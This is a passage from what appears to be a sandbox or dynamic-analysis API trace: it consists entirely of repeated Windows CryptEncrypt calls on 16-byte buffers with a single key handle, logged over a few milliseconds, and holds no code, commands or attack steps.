pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.754] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.754] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.754] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.754] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.754] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.754] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.754] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.754] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.754] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.754] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.754] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.754] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.754] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.754] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.754] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.754] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.754] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.754] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.755] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.755] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.755] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.755] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.755] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.755] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.755] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.755] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.755] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.755] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.755] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.755] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.755] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.755] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.755] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.755] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.755] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.755] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.755] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.755] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.755] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.755] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.756] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.756] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.756] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.756] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.756] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.756] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.756] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.756] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.756] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.756] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.756] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.756] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.756] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.756] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.756] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.756] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.756] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.756] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.756] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.756] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.756] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.756] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.757] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.757] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.757] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.757] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.757] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.757] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.757] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.757] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.757] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.757] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.757] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.757] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.757] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.757] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.757] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.757] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.757] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.757] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.757] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.757] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.757] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.758] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.758] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.758] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.758] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.758] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.758] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.758] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.758] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.758] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.758] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.758] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.758] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.758] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.758] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.758] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.758] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.758] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.758] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.758] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.758] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.758] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.758] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.759] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.759] 